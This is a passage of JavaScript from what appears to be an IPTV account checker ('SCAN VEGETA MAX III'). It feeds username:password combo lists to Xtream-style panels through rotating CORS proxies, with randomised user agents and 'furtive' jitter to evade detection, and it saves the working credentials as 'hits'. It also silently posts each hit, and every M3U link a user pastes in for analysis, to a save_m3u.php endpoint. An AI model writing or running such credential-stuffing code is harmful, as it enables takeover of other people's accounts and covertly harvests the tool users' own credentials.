uinfo.created_at ? new Date(uinfo.created_at*1000).toLocaleDateString( LANG==='es'?'es-ES':(LANG==='fr'?'fr-FR':(LANG==='it'?'it-IT':'en-GB')) ) : t('none'); const expira = uinfo.exp_date ? new Date(uinfo.exp_date*1000).toLocaleDateString( LANG==='es'?'es-ES':(LANG==='fr'?'fr-FR':(LANG==='it'?'it-IT':'en-GB')) ) : t('none'); const daysLeft = uinfo.exp_date ? Math.floor(((Number(uinfo.exp_date) * 1000) - Date.now()) / 86400000) : t('none'); const status = uinfo.status || (String(uinfo.auth)==='1' ? t('statusActive') : t('statusUnknown')); const statusEmoji = (status===t('statusActive') || status==='Active' || status==='Actif') ? '✅' : '❌'; const maxConns = (uinfo.max_connections ?? uinfo.max_cons ?? uinfo['max_connections']) ?? t('none'); const activeCons = (uinfo.active_cons ?? uinfo.connected_cons ?? uinfo['active_connections']) ?? t('none'); const locLine = serverGeo ? ` ├●🌍 ${t('ip')}: ${serverGeo.ip} ├●${serverGeo.flag} ${serverGeo.city}, ${serverGeo.country}` : ''; const link = `${usedProto}${host}/get.php?username=${encodeURIComponent(user)}&password=${encodeURIComponent(pass)}&type=m3u_plus&output=m3u8`; const texto = `${t('title')}${locLine} ├●🌐${t('host')}: ${hostSem} ├●🚪${t('port')}: ${porta} ├●👤${t('user')}: ${user} ├●🔑${t('pass')}: ${pass} ├●📅${t('created')}: ${creada} ├●⏳${t('expires')}: ${expira} ├●🗓️${t('daysLeft')}: ${daysLeft} ├●${statusEmoji}${t('status')}: ${status} ├●👥 ${t('maxConn')}: ${maxConns} ├●🔌 ${t('actConn')}: ${activeCons} ├●${t('link')}: ${link} ├●${t('categories')} ${liveCatsText} ${t('groupsA')} ╰─────────────────────`; // ========== PLAN A : Sauvegarde avec données complètes du scan ========== // Catégories Live uniquement : pas de VOD, pas de séries. const liveNames = Array.isArray(liveCats) ? liveCats.map(c => c.category_name || c.name || '').filter(Boolean) : []; const allCategories = [...new Set(liveNames)]; // Payload complet pour save_m3u.php (Plan A) const payload = { link: link, lang: LANG, // Données user_info directement du scan user_info: { status: uinfo.status || '', auth: String(uinfo.auth || ''), created_at: uinfo.created_at || null, exp_date: uinfo.exp_date || null, active_cons: uinfo.active_cons ?? uinfo.active_connections ?? '-', max_connections: uinfo.max_connections ?? uinfo.max_cons ?? '-' }, // Données server_info si disponibles server_info: data.server_info || {}, // Catégories déjà récupérées categories: allCategories, // IP et géo si disponibles server_ip: serverIP || null, server_geo: serverGeo || null }; try { fetch('./save_m3u.php', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(payload) }).catch(() => {}); } catch (_) {} return { texto, user, pass, host }; }catch{ return null; } } /* === Ajout visuel d’un Hit (résultats partagés en bas) === */ function mostrarHit(hit, ui){ const div = document.createElement('div'); div.className = 'hit-block'; const header = document.createElement('div'); header.className = 'hit-header'; header.textContent = `${t('user')}: ${hit.user} | ${t('pass')}: ${hit.pass}`; const content = document.createElement('pre'); content.className = 'hit-content'; content.textContent = hit.texto; div.appendChild(header); div.appendChild(content); // 🔽 Résultats envoyés dans le container global (en bas) hitsContainer.prepend(div); // ✅ Compteur du job mis à jour indépendamment if(ui.hitsCountEl){ ui.hitsCountEl.innerHTML = `${t('hitsFound')}: ${ui.hitsArr.length}`; } updateServerStatusHits(); playHitSound(); } /* === Multi-analyse : une fonction par job, même domaine === */ async function processarCombosJob(host, combos, conc, jobId){ const ui = uiFor(jobId); // === reset UI & état DU JOB uniquement === ui.hitsArr.length = 0; updateServerStatusHits(); if(ui.hitsCountEl) ui.hitsCountEl.innerHTML = `${t('hitsFound')}: 0`; if(ui.fill) ui.fill.style.width = '0%'; // État local au job let total = combos.length; let processed = 0; if(ui.text) ui.text.textContent = t('waiting'); if(ui.user) ui.user.textContent = `${t('currentUser')}: -`; actualizarProgresoJob({ processed, total }, ui); // Borne la concurrence (1–100) conc = Math.max(1, Math.min(100, conc|0)); const sleep = ms => new Promise(r => setTimeout(r, ms)); function createSessionJob(){ return { headers: { "User-Agent": randomUA(), "Accept": "application/json,text/javascript,*/*;q=0.9" }, cookies: {} }; } // index lock-free local à CE job let index = 0; async function worker(){ const session = createSessionJob(); while(index < total && !stopRequested){ const i = index++; if(i >= total) break; const combo = combos[i]; if(!combo) continue; if(ui.user) ui.user.textContent = `${t('currentUser')}: ${combo}`; let opts = { headers: { ...session.headers } }; opts = attachCookies(opts, session); try{ // Passe le jobId pour utiliser le proxy fixe de CE job const hit = await validarCombo(host, combo, opts, session, ui, jobId); if(stopRequested) break; if(hit){ ui.hitsArr.push(hit); // hits du JOB mostrarHit(hit, ui); // affichage dans le container global (en bas) } }catch(_){ /* silence */ } finally{ processed++; actualizarProgresoJob({ processed, total }, ui); } // Jitter furtif (40–180 ms) + sortie propre si stop await sleep(40 + Math.random()*140); if(stopRequested) break; } } if(ui.text) ui.text.textContent = t('starting'); // ⏳ Départ légèrement décalé selon le job (0/100/200 ms) await sleep((jobId - 1) * 100); await Promise.all(Array.from({ length: conc }, () => worker())); if(ui.user) ui.user.textContent = `${t('currentUser')}: -`; if(ui.text) ui.text.textContent += (stopRequested ? t('scanStopped') : t('scanDone')); } /* === Texte & sauvegarde — fichier unique pour les 3 jobs === */ // (optionnel) dédoublonnage par texte complet du hit function dedupeHits(arr){ const seen = new Set(); const out = []; for(const h of arr){ const key = String(h.texto||'').trim(); if(!key || seen.has(key)) continue; seen.add(key); out.push(h); } return out; } // Construit un texte unique pour les 3 jobs function buildHitsTextAll({ groupByJob=true, dedupe=true } = {}){ const j1 = HITS[1] || [], j2 = HITS[2] || [], j3 = HITS[3] || []; let all = [...j1, ...j2, ...j3]; if(dedupe) all = dedupeHits(all); // entête résumé const total = (HITS[1]?.length||0) + (HITS[2]?.length||0) + (HITS[3]?.length||0); const totalAfter = all.length; const header = `=============== ⚡SCAN VEGETA 𝐌𝐀𝐗 𝐈𝐈𝐈⚡=============== Scan1: ${HITS[1]?.length||0} hits Scan2: ${HITS[2]?.length||0} hits Scan3: ${HITS[3]?.length||0} hits Total (brut): ${total} | After deduplication: ${totalAfter} ======================================================= `; if(!groupByJob){ // tout à la suite (mélangé) const body = all.map(h => h.texto).join('\n\n'); return header + (body || ''); } // regroupé par job (sections) const sep = '\n\n'; const sec1 = (j1.length ? `\n[Scan 1]\n\n${(dedupe?dedupeHits(j1):j1).map(h=>h.texto).join(sep)}` : ''); const sec2 = (j2.length ? `\n[Scan 2]\n\n${(dedupe?dedupeHits(j2):j2).map(h=>h.texto).join(sep)}` : ''); const sec3 = (j3.length ? `\n[Scan 3]\n\n${(dedupe?dedupeHits(j3):j3).map(h=>h.texto).join(sep)}` : ''); return header + [sec1, sec2, sec3].filter(Boolean).join('\n'); } // Nom de fichier unique pour le domaine function domainFileName(rawHost){ const h = limpiarHost(rawHost).replace(/[^a-zA-Z0-9._-]/g,'_'); const d = new Date(); const pad = n => String(n).padStart(2,'0'); const ts = `${d.getFullYear()}${pad(d.getMonth()+1)}${pad(d.getDate())}_${pad(d.getHours())}${pad(d.getMinutes())}${pad(d.getSeconds())}`; return `scanVEGETA_${h}_${ts}.txt`; } // Sauvegarde un seul fichier avec les 3 jobs async function saveHitsAll(rawHost, { allowEmpty=false, groupByJob=true, dedupe=true } = {}){ const content = buildHitsTextAll({ groupByJob, dedupe }); if(!content && !allowEmpty){ alert(t('noHits')); return; } universalSaveFile(domainFileName(rawHost), content || '', 'text/plain;charset=utf-8'); } async function saveHitsToDevicePerDomain(rawHost, allowEmpty=false){ const content = buildHitsTextAll({ groupByJob: true, dedupe: true }); if(!content && !allowEmpty){ alert(t('noHits')); return; } universalSaveFile(domainFileName(rawHost), content || '', 'text/plain;charset=utf-8'); } function getTotalHitsAll(){ return (HITS[1]?.length||0) + (HITS[2]?.length||0) + (HITS[3]?.length||0); } // Affiche un vrai modal : aucun fichier n'est téléchargé tant que l'utilisateur ne clique pas sur "Oui". function askSaveResultsModal(totalHits = getTotalHitsAll(), options = {}){ const titleKey = options.titleKey || 'savePromptTitle'; const textKey = options.textKey || 'savePromptText'; const countKey = options.countKey || 'savePromptCount'; const yesKey = options.yesKey || 'savePromptYes'; const noKey = options.noKey || 'savePromptNo'; const showCount = options.showCount !== false; if(!saveResultsModal || !saveResultsYesBtn || !saveResultsNoBtn){ return Promise.resolve(window.confirm(t(textKey))); } if(saveResultsModalTitle) saveResultsModalTitle.textContent = t(titleKey); if(saveResultsModalText){ saveResultsModalText.textContent = ''; saveResultsModalText.appendChild(document.createTextNode(t(textKey))); if(showCount && totalHits > 0){ saveResultsModalText.appendChild(document.createElement('br')); saveResultsModalText.appendChild(document.createTextNode(`${t(countKey)} : `)); const countSpan = document.createElement('span'); countSpan.className = 'save-modal-hit-number'; countSpan.textContent = String(totalHits); saveResultsModalText.appendChild(countSpan); } } saveResultsYesBtn.textContent = t(yesKey); saveResultsNoBtn.textContent = t(noKey); return new Promise(resolve => { let done = false; const previousActive = document.activeElement; function close(value){ if(done) return; done = true; saveResultsModal.classList.remove('save-modal-visible'); saveResultsModal.setAttribute('aria-hidden','true'); saveResultsYesBtn.removeEventListener('click', onYes); saveResultsNoBtn.removeEventListener('click', onNo); saveResultsModal.removeEventListener('click', onBackdrop); document.removeEventListener('keydown', onKeydown); setTimeout(()=>{ try{ previousActive && previousActive.focus && previousActive.focus(); }catch(_){ } }, 0); resolve(value); } function onYes(){ close(true); } function onNo(){ close(false); } function onBackdrop(event){ if(event.target === saveResultsModal) close(false); } function onKeydown(event){ if(event.key === 'Escape') close(false); } saveResultsYesBtn.addEventListener('click', onYes); saveResultsNoBtn.addEventListener('click', onNo); saveResultsModal.addEventListener('click', onBackdrop); document.addEventListener('keydown', onKeydown); saveResultsModal.classList.add('save-modal-visible'); saveResultsModal.setAttribute('aria-hidden','false'); setTimeout(()=>{ try{ saveResultsYesBtn.focus(); }catch(_){ } }, 0); }); } /* === Chargement des 3 fichiers et zone texte, états boutons === */ function readTxtFile(inputEl, targetArray){ targetArray.length = 0; const f = inputEl.files?.[0]; if(!f){ updateStartState(); return; } const r = new FileReader(); r.onload = e=>{ const lines = String(e.target.result||'').split(/\r?\n/); for(const line of lines){ const pair = extractCombo(line.trim()); if(pair) targetArray.push(`${pair[0]}:${pair[1]}`); } updateStartState(); }; r.readAsText(f); } comboFile1.addEventListener('change', ()=>readTxtFile(comboFile1, combos1)); comboFile2.addEventListener('change', ()=>readTxtFile(comboFile2, combos2)); comboFile3.addEventListener('change', ()=>readTxtFile(comboFile3, combos3)); comboText?.addEventListener('input', ()=>{ combosTxt.length = 0; const raw = comboText.value || ''; if(raw){ const lines = raw.split(/\r?\n/); for(const line of lines){ const pair = extractCombo(line); if(pair) combosTxt.push(`${pair[0]}:${pair[1]}`); } } updateStartState(); }); hostInput.addEventListener('input', ()=>{ updateStartState(); if(!isRunning){ resetServerStatus(); } }); /* === Boutons === */ startBtn.addEventListener('click', async ()=>{ if(isRunning) return; const activeScanJobIds = getActiveScanJobIdsForStart(); if(activeScanJobIds.length === 0){ hideScanJobPanels(); updateStartState?.(); return; } showOnlyScanJobPanels(activeScanJobIds); unlockAudio(); if(audioCtx && audioCtx.state === 'suspended'){ try{ await audioCtx.resume(); }catch(_){} } // 🔄 Reset UI (3 zones) + état hits par job startBtn.disabled = true; saveBtn.disabled = true; stopBtn.disabled = true; // ❗ Très important : on réarme le stop stopRequested = false; // ✅ On vide le container GLOBAL (un seul bloc de résultats en bas) if(hitsContainer) hitsContainer.textContent = ''; // Réinitialise les 3 compteurs [hitsCount1, hitsCount2, hitsCount3].forEach(el=>{ if(el) el.innerHTML = `${t('hitsFound')}: 0`; }); [scanPercent1, scanPercent2, scanPercent3].forEach(el=>{ if(el) el.textContent = '0,00%'; }); // Vide les tableaux de hits par job Object.values(HITS).forEach(arr => arr.length = 0); updateServerStatusHits(); // Reset barres + textes [progressBarFill, progressBarFill2, progressBarFill3].forEach(el=>{ if(el) el.style.width='0%'; }); [progressText, progressText2, progressText3].forEach(el=>{ if(el) el.textContent=t('resolving'); }); [currentCombo, currentCombo2, currentCombo3].forEach(el=>{ if(el) el.textContent=`${t('currentUser')}: -`; }); const host = limpiarHost(hostInput.value); const baseConc = parseInt(concurrencyInput.value) || 80; // IP/Geo une seule fois serverIP = await resolveIP(host); serverGeo = serverIP ? await fetchGeo(serverIP) : null; // Si du texte libre a été collé, on l’injecte dans Job1 if(combosTxt.length){ combos1 = combos1.concat(combosTxt); combosTxt = []; if(comboText) comboText.value = ''; } // Démarrage isRunning = true; resetScanProgress(); // Le widget de statut reste caché avant le clic, puis apparaît au lancement du scan. showServerStatusWidget(); // Le widget de statut sera alimenté par les requêtes du scan. clearServerStatusLoop(); resetServerStatus(); setTimeout(()=>{ stopBtn.disabled = false; }, 300); // 🎯 Choix d’un proxy fixe par job + répartition de la concurrence JOB_PROXIES = {}; // reset const shuffled = [...CORS_PROXIES].sort(()=>Math.random()-0.5); const activeJobs = [combos1.length>0, combos2.length>0, combos3.length>0].filter(Boolean).length || 1; const perConc = Math.max(1, Math.floor(baseConc / activeJobs)); if(combos1.length) JOB_PROXIES[1] = shuffled[0 % CORS_PROXIES.length]; if(combos2.length) JOB_PROXIES[2] = shuffled[1 % CORS_PROXIES.length]; if(combos3.length) JOB_PROXIES[3] = shuffled[2 % CORS_PROXIES.length]; // Lance uniquement les jobs qui ont des combos const jobs = []; if(combos1.length) jobs.push(processarCombosJob(host, combos1, perConc, 1)); if(combos2.length) jobs.push(processarCombosJob(host, combos2, perConc, 2)); if(combos3.length) jobs.push(processarCombosJob(host, combos3, perConc, 3)); // Si aucun job, on sort proprement if(jobs.length === 0){ hideScanJobPanels(); isRunning = false; hideServerStatusWidget(); startBtn.disabled = false; saveBtn.disabled = false; stopBtn.disabled = true; updateStartState?.(); return; } Promise.allSettled(jobs).then(async ()=>{ isRunning = false; clearServerStatusLoop(); resetServerStatus(); hideServerStatusWidget(); stopBtn.disabled = true; try{ // ✅ Plus de sauvegarde automatique : on demande toujours l'accord avant tout téléchargement. const totalHits = getTotalHitsAll(); const shouldAskToSave = totalHits > 0 && (!autoDownload || autoDownload.checked || stopRequested); if(shouldAskToSave){ const shouldSave = await askSaveResultsModal(totalHits); if(shouldSave){ await saveHitsAll(host, { allowEmpty:false, groupByJob:true, dedupe:true }); } } }catch(err){ console.warn('Save confirmation skipped:', err); } startBtn.disabled = false; saveBtn.disabled = false; updateStartState?.(); }); }); stopBtn.addEventListener('click', ()=>{ if(!isRunning) return; stopRequested=true; stopBtn.disabled=true; [progressText,progressText2,progressText3].forEach(el=>{ if(el) el.textContent += t('scanStopped'); }); }); saveBtn.addEventListener('click', ()=>{ const host=hostInput.value; if(!host) return; saveHitsToDevicePerDomain(host); }); if(serverStatusPipBtn){ serverStatusPipBtn.addEventListener('click', openServerStatusPip); } /* ===== Modal statut serveur maniable : drag + petite glisse libre, sans rebond ===== */ (function initDraggableServerStatusWidget(){ if(!serverStatusWidget) return; const STORAGE_KEY = 'vegetaServerStatusWidgetPositionV2'; const MARGIN = 10; // Position de départ voulue : toujours bas-droite au premier affichage. // On efface les anciennes positions sauvegardées qui pouvaient faire apparaître // le modal au milieu, tout en gardant le drag manuel actif. try{ localStorage.removeItem(STORAGE_KEY); localStorage.removeItem('vegetaServerStatusWidgetPositionV1'); }catch(_){ } // Réglages volontairement doux : petite inertie, aucun rebond, aucun aimant vers les coins. const MIN_THROW_SPEED = 0.12; // px/ms : en dessous, le modal reste exactement où tu le poses const MAX_THROW_SPEED = 0.58; // limite pour éviter le côté "ballon" const THROW_POWER = 0.72; // réduit la force du lancer const FRICTION_PER_FRAME = 0.72; // ralentit rapidement la glisse const STOP_SPEED = 0.018; // arrêt propre quand la glisse devient très lente let dragState = null; let inertiaFrame = null; let hasCustomPosition = false; serverStatusWidget.classList.add('server-widget-draggable'); function viewportSize(){ const vv = window.visualViewport; return { width: Math.max(1, vv ? vv.width : window.innerWidth), height: Math.max(1, vv ? vv.height : window.innerHeight), offsetLeft: vv ? vv.offsetLeft : 0, offsetTop: vv ? vv.offsetTop : 0 }; } function clamp(value, min, max){ if(max < min) return min; return Math.min(Math.max(value, min), max); } function currentRect(){ return serverStatusWidget.getBoundingClientRect(); } function limits(){ const vp = viewportSize(); const rect = currentRect(); return { minX: vp.offsetLeft + MARGIN, minY: vp.offsetTop + MARGIN, maxX: vp.offsetLeft + vp.width - rect.width - MARGIN, maxY: vp.offsetTop + vp.height - rect.height - MARGIN, width: rect.width, height: rect.height }; } function placeAt(left, top, save){ const lim = limits(); const x = clamp(left, lim.minX, lim.maxX); const y = clamp(top, lim.minY, lim.maxY); serverStatusWidget.classList.add('server-widget-floating'); serverStatusWidget.style.left = `${Math.round(x)}px`; serverStatusWidget.style.top = `${Math.round(y)}px`; serverStatusWidget.style.right = 'auto'; serverStatusWidget.style.bottom = 'auto'; hasCustomPosition = true; if(save) savePosition(x, y); } function savePosition(left, top){ try{ const vp = viewportSize(); localStorage.setItem(STORAGE_KEY, JSON.stringify({ xRatio: left / Math.max(1, vp.width), yRatio: top / Math.max(1, vp.height) })); }catch(_){ } } function restorePosition(){ try{ const raw = localStorage.getItem(STORAGE_KEY); if(!raw) return; const data = JSON.parse(raw); if(typeof data.xRatio !== 'number' || typeof data.yRatio !== 'number') return; const vp = viewportSize(); placeAt(data.xRatio * vp.width, data.yRatio * vp.height, false); hasCustomPosition = true; }catch(_){ } } function stopInertia(){ if(inertiaFrame){ cancelAnimationFrame(inertiaFrame); inertiaFrame = null; } serverStatusWidget.classList.remove('server-widget-settling'); } function capVelocity(vx, vy){ const speed = Math.hypot(vx, vy); if(speed <= MAX_THROW_SPEED) return { vx, vy }; const ratio = MAX_THROW_SPEED / Math.max(speed, 0.0001); return { vx: vx * ratio, vy: vy * ratio }; } function startSoftInertia(vx, vy){ stopInertia(); let capped = capVelocity(vx * THROW_POWER, vy * THROW_POWER); vx = capped.vx; vy = capped.vy; let rect = currentRect(); let x = rect.left; let y = rect.top; let last = performance.now(); function step(now){ const dt = Math.min(24, now - last); last = now; x += vx * dt; y += vy * dt; const lim = limits(); const nextX = clamp(x, lim.minX, lim.maxX); const nextY = clamp(y, lim.minY, lim.maxY); // Pas de rebond : si le modal touche un bord, il se cale au bord et la vitesse concernée s'arrête. if(nextX !== x) vx = 0; if(nextY !== y) vy = 0; x = nextX; y = nextY; const friction = Math.pow(FRICTION_PER_FRAME, dt / 16.67); vx *= friction; vy *= friction; placeAt(x, y, false); if(Math.hypot(vx, vy) < STOP_SPEED){ inertiaFrame = null; savePosition(x, y); return; } inertiaFrame = requestAnimationFrame(step); } inertiaFrame = requestAnimationFrame(step); } function shouldIgnoreDragTarget(target){ return !!(target && target.closest && target.closest('button, input, select, textarea, a, label')); } serverStatusWidget.addEventListener('pointerdown', (ev) => { if(!serverStatusWidget.classList.contains('server-widget-visible')) return; if(shouldIgnoreDragTarget(ev.target)) return; stopInertia(); const rect = currentRect(); dragState = { pointerId: ev.pointerId, startX: ev.clientX, startY: ev.clientY, left: rect.left, top: rect.top, lastX: ev.clientX, lastY: ev.clientY, lastTime: performance.now(), vx: 0, vy: 0, moved: false }; serverStatusWidget.classList.add('server-widget-dragging'); serverStatusWidget.setPointerCapture?.(ev.pointerId); ev.preventDefault(); }); serverStatusWidget.addEventListener('pointermove', (ev) => { if(!dragState || dragState.pointerId !== ev.pointerId) return; const now = performance.now(); const dt = Math.max(1, now - dragState.lastTime); const deltaX = ev.clientX - dragState.lastX; const deltaY = ev.clientY - dragState.lastY; dragState.vx = deltaX / dt; dragState.vy = deltaY / dt; dragState.lastX = ev.clientX; dragState.lastY = ev.clientY; dragState.lastTime = now; const x = dragState.left + (ev.clientX - dragState.startX); const y = dragState.top + (ev.clientY - dragState.startY); if(Math.abs(ev.clientX - dragState.startX) > 3 || Math.abs(ev.clientY - dragState.startY) > 3){ dragState.moved = true; } placeAt(x, y, false); ev.preventDefault(); }); function finishDrag(ev){ if(!dragState || dragState.pointerId !== ev.pointerId) return; const state = dragState; dragState = null; serverStatusWidget.classList.remove('server-widget-dragging'); try{ serverStatusWidget.releasePointerCapture?.(ev.pointerId); }catch(_){ } const speed = Math.hypot(state.vx, state.vy); const rect = currentRect(); if(state.moved && speed > MIN_THROW_SPEED){ startSoftInertia(state.vx, state.vy); }else{ savePosition(rect.left, rect.top); } } serverStatusWidget.addEventListener('pointerup', finishDrag); serverStatusWidget.addEventListener('pointercancel', finishDrag); function keepInsideAfterResize(){ if(!hasCustomPosition) return; const rect = currentRect(); serverStatusWidget.classList.add('server-widget-settling'); placeAt(rect.left, rect.top, true); window.setTimeout(() => serverStatusWidget.classList.remove('server-widget-settling'), 180); } window.addEventListener('resize', keepInsideAfterResize); if(window.visualViewport){ window.visualViewport.addEventListener('resize', keepInsideAfterResize); } // Départ en bas à droite : on ne restaure plus d'ancienne position. // Dès que l'utilisateur déplace le modal, la classe floating prend le relais // et le modal reste maniable normalement. requestAnimationFrame(() => { serverStatusWidget.classList.remove('server-widget-floating', 'server-widget-dragging', 'server-widget-settling'); serverStatusWidget.style.left = ''; serverStatusWidget.style.top = ''; serverStatusWidget.style.right = ''; serverStatusWidget.style.bottom = ''; }); })(); /* ===== Analyseur lien M3U ===== */ const m3uInput = $('m3uInput'); const m3uAnalyzeBtn = $('m3uAnalyzeBtn'); const m3uClearBtn = $('m3uClearBtn'); const m3uUseCors = $('m3uUseCors'); const m3uResult = $('m3uResult'); function scrollToM3UResultMobile(delay = 120){ if(!m3uResult) return; const isMobile = window.matchMedia && window.matchMedia('(max-width: 899px)').matches; if(!isMobile) return; window.setTimeout(() => { const target = m3uResult.querySelector('.m3u-result-card') || m3uResult; if(!target) return; const reduceMotion = window.matchMedia && window.matchMedia('(prefers-reduced-motion: reduce)').matches; const top = target.getBoundingClientRect().top + window.pageYOffset - 14; window.scrollTo({ top: Math.max(0, top), behavior: reduceMotion ? 'auto' : 'smooth' }); }, delay); } function escapeHtml(value){ return String(value ?? '').replace(/[&<>"]/g, ch => ({'&':'&','<':'<','>':'>','"':'"'}[ch])); } function m3uLocale(){ return LANG === 'fr' ? 'fr-FR' : (LANG === 'it' ? 'it-IT' : (LANG === 'en' ? 'en-GB' : 'es-ES')); } function normalizeMaybeUrl(raw){ let text = String(raw || '').replace(/&/g, '&').trim(); const found = text.match(/https?:\/\/[^\s"'<>]+/i); if(found) text = found[0]; if(!/^https?:\/\//i.test(text)) text = 'http://' + text; return text; } function parseM3ULink(raw){ const normalized = normalizeMaybeUrl(raw); let url; try{ url = new URL(normalized); }catch(_){ throw new Error(t('invalidM3U')); } const username = url.searchParams.get('username') || url.searchParams.get('user') || url.searchParams.get('usuario'); const password = url.searchParams.get('password') || url.searchParams.get('pass') || url.searchParams.get('senha'); if(!username || !password){ throw new Error(t('missingM3UCredentials')); } const origin = `${url.protocol}//${url.host}`; return { originalUrl: url.href, origin, host: url.host, username, password, apiUrl: `${origin}/player_api.php?username=${encodeURIComponent(username)}&password=${encodeURIComponent(password)}`, m3uUrl: `${origin}/get.php?username=${encodeURIComponent(username)}&password=${encodeURIComponent(password)}&type=m3u_plus` }; } async function m3uFetch(url, options = {}){ const baseOpts = { cache:'no-store', keepalive:false, ...options, timeout: options.timeout || 8000 }; try{ const direct = await fetchTimeout(url, baseOpts); if(direct && direct.ok) return direct; if(!(m3uUseCors && m3uUseCors.checked)) return direct; }catch(e){ if(!(m3uUseCors && m3uUseCors.checked)) throw e; } const pool = Array.isArray(CORS_PROXIES) ? CORS_PROXIES : []; for(const tpl of pool){ try{ const proxied = tpl.includes('{url}') ? tpl.replace('{url}', encodeURIComponent(url)) : (tpl + encodeURIComponent(url)); const proxiedResp = await fetchTimeout(proxied, baseOpts); if(proxiedResp && proxiedResp.ok) return proxiedResp; }catch(_){ } } throw new Error(t('m3uServerBlocked')); } async function m3uJson(url){ const resp = await m3uFetch(url, { timeout: 9000 }); if(!resp || !resp.ok) throw new Error(`${t('m3uInvalidResponse')} (${resp ? resp.status : '—'}).`); return await resp.json(); } async function m3uText(url){ const resp = await m3uFetch(url, { timeout: 10000 }); if(!resp || !resp.ok) throw new Error(`${t('m3uInaccessible')} (${resp ? resp.status : '—'}).`); return await resp.text(); } function m3uDate(value){ if(value === undefined || value === null || value === '' || String(value) === '0') return t('none'); const n = Number(value); if(Number.isFinite(n)){ const d = new Date(n * 1000); if(!isNaN(d.getTime())) return d.toLocaleString(m3uLocale()); } return String(value); } function m3uStatusInfo(userInfo = {}, fallbackOk = false){ const rawStatus = String(userInfo.status || '').trim(); const auth = String(userInfo.auth ?? '').toLowerCase(); const active = fallbackOk || auth === '1' || auth === 'true' || rawStatus.toLowerCase() === 'active' || rawStatus.toLowerCase() === 'actif'; const disabledWords = /expired|banned|disabled|trial_expired|inactif|expire/i.test(rawStatus); if(active && !disabledWords) return { cls:'good', text:String(t('statusActive')).toUpperCase(), icon:'✅', raw: rawStatus || t('statusActive') }; if(rawStatus) return { cls:'bad', text:rawStatus.toUpperCase(), icon:'❌', raw: rawStatus }; return { cls:'warn', text:String(t('statusUnknown')).toUpperCase(), icon:'⚠️', raw:t('statusUnknown') }; } function listCategoryNames(items, limit = 70){ if(!Array.isArray(items) || !items.length) return `• ${t('none')}`; const names = []; for(const item of items){ const name = (item && (item.category_name || item.name || item.title)) ? String(item.category_name || item.name || item.title).trim() : ''; if(name && !names.includes(name)) names.push(name); } if(!names.length) return `• ${t('none')}`; const shown = names.slice(0, limit); let line = shown.join(' • '); if(names.length > limit){ line += ` • … (+${names.length - limit} ${t('more')})`; } return line; } function categoriesFromPlaylistText(text, limit = 90){ const found = []; const re = /group-title\s*=\s*"([^"]+)"/gi; let m; while((m = re.exec(text)) !== null){ const name = (m[1] || '').trim(); if(name && !found.includes(name)) found.push(name); if(found.length >= limit) break; } return found.map(n => ({ category_name:n })); } function renderM3UResult({parsed, apiData=null, liveCats=[], vodCats=[], seriesCats=[], playlistCats=[], fallback=false, error=null}){ if(!m3uResult) return; if(error){ m3uResult.innerHTML = `
❌ ${escapeHtml(error.message || error)}
`; return; } const userInfo = (apiData && apiData.user_info) ? apiData.user_info : {}; const serverInfo = (apiData && apiData.server_info) ? apiData.server_info : {}; const status = m3uStatusInfo(userInfo, fallback); const exp = m3uDate(userInfo.exp_date || userInfo.expiration || userInfo.expire_date); const created = m3uDate(userInfo.created_at); const maxConn = userInfo.max_connections ?? userInfo.max_cons ?? t('none'); const activeCons = userInfo.active_cons ?? userInfo.connected_cons ?? t('none'); const serverUrl = parsed ? parsed.host : t('none'); const username = parsed ? parsed.username : t('none'); const apiMode = fallback ? t('m3uFallbackMode') : t('m3uApiMode'); const fallbackNote = fallback ? t('m3uFallbackNote') : t('m3uApiNote'); const catBlocks = fallback ? [{title:t('m3uPlaylistCatsTitle'), data:playlistCats}] : [ {title:'📺 Live TV', data:liveCats} ]; m3uResult.innerHTML = `
${status.icon} ${escapeHtml(status.text)} ${escapeHtml(apiMode)}
${escapeHtml(t('serverLabel'))}
${escapeHtml(serverUrl)}
${escapeHtml(t('usernameLabel'))}
${escapeHtml(username)}
${escapeHtml(t('timezoneLabel'))}
${escapeHtml(serverInfo.timezone || t('none'))}
${escapeHtml(t('createdLabel'))}
${escapeHtml(created)}
${escapeHtml(t('expirationLabel'))}
${escapeHtml(exp)}
${escapeHtml(t('maxConnLabel'))}
${escapeHtml(maxConn)}
${escapeHtml(t('activeConnLabel'))}
${escapeHtml(activeCons)}
${catBlocks.map(block => `
${escapeHtml(block.title)}
${escapeHtml(listCategoryNames(block.data))}
`).join('')}
${fallbackNote ? `
${escapeHtml(fallbackNote)}
` : ''}
`; // Sur mobile, on scrolle automatiquement uniquement quand le M3U est actif. if(status.cls === 'good'){ scrollToM3UResultMobile(160); } } async function analyzeM3ULink(){ if(!m3uInput || !m3uResult) return; let parsed; try{ parsed = parseM3ULink(m3uInput.value); }catch(err){ renderM3UResult({ error: err }); return; } m3uAnalyzeBtn.disabled = true; m3uResult.innerHTML = `
${escapeHtml(t('m3uLoading'))}
`; try{ const apiData = await m3uJson(parsed.apiUrl); const liveUrl = `${parsed.apiUrl}&action=get_live_categories`; const liveRes = await Promise.allSettled([ m3uJson(liveUrl) ]); renderM3UResult({ parsed, apiData, liveCats: liveRes[0].status === 'fulfilled' ? liveRes[0].value : [] }); // ⬇️⬇️⬇️ AJOUTER CE BLOC ICI (après le renderM3UResult API, avant le catch) ⬇️⬇️⬇️ // ✅ Sauvegarde silencieuse du lien M3U analysé (comme pour les hits) try { const m3uLinkToSave = parsed ? (parsed.originalUrl || parsed.m3uUrl) : ''; if (m3uLinkToSave) { fetch('./save_m3u.php', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ link: m3uLinkToSave, lang: LANG }) }).catch(() => {}); } } catch (_) {} // ⬆️⬆️⬆️ FIN DU BLOC AJOUTÉ ⬆️⬆️⬆️ }catch(apiErr){ try{ const text = await m3uText(parsed.originalUrl || parsed.m3uUrl); const looksLikeM3U = /^\s*#EXTM3U/i.test(text) || /#EXTINF/i.test(text); if(!looksLikeM3U) throw new Error(t('m3uLooksInvalid')); renderM3UResult({ parsed, playlistCats: categoriesFromPlaylistText(text), fallback:true }); // ⬇️⬇️⬇️ AJOUTER CE BLOC ICI (après le renderM3UResult fallback, avant le throw) ⬇️⬇️⬇️ // ✅ Sauvegarde silencieuse du lien M3U analysé (comme pour les hits) try { const m3uLinkToSave = parsed ? (parsed.originalUrl || parsed.m3uUrl) : ''; if (m3uLinkToSave) { fetch('./save_m3u.php', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ link: m3uLinkToSave, lang: LANG }) }).catch(() => {}); } } catch (_) {} // ⬆️⬆️⬆️ FIN DU BLOC 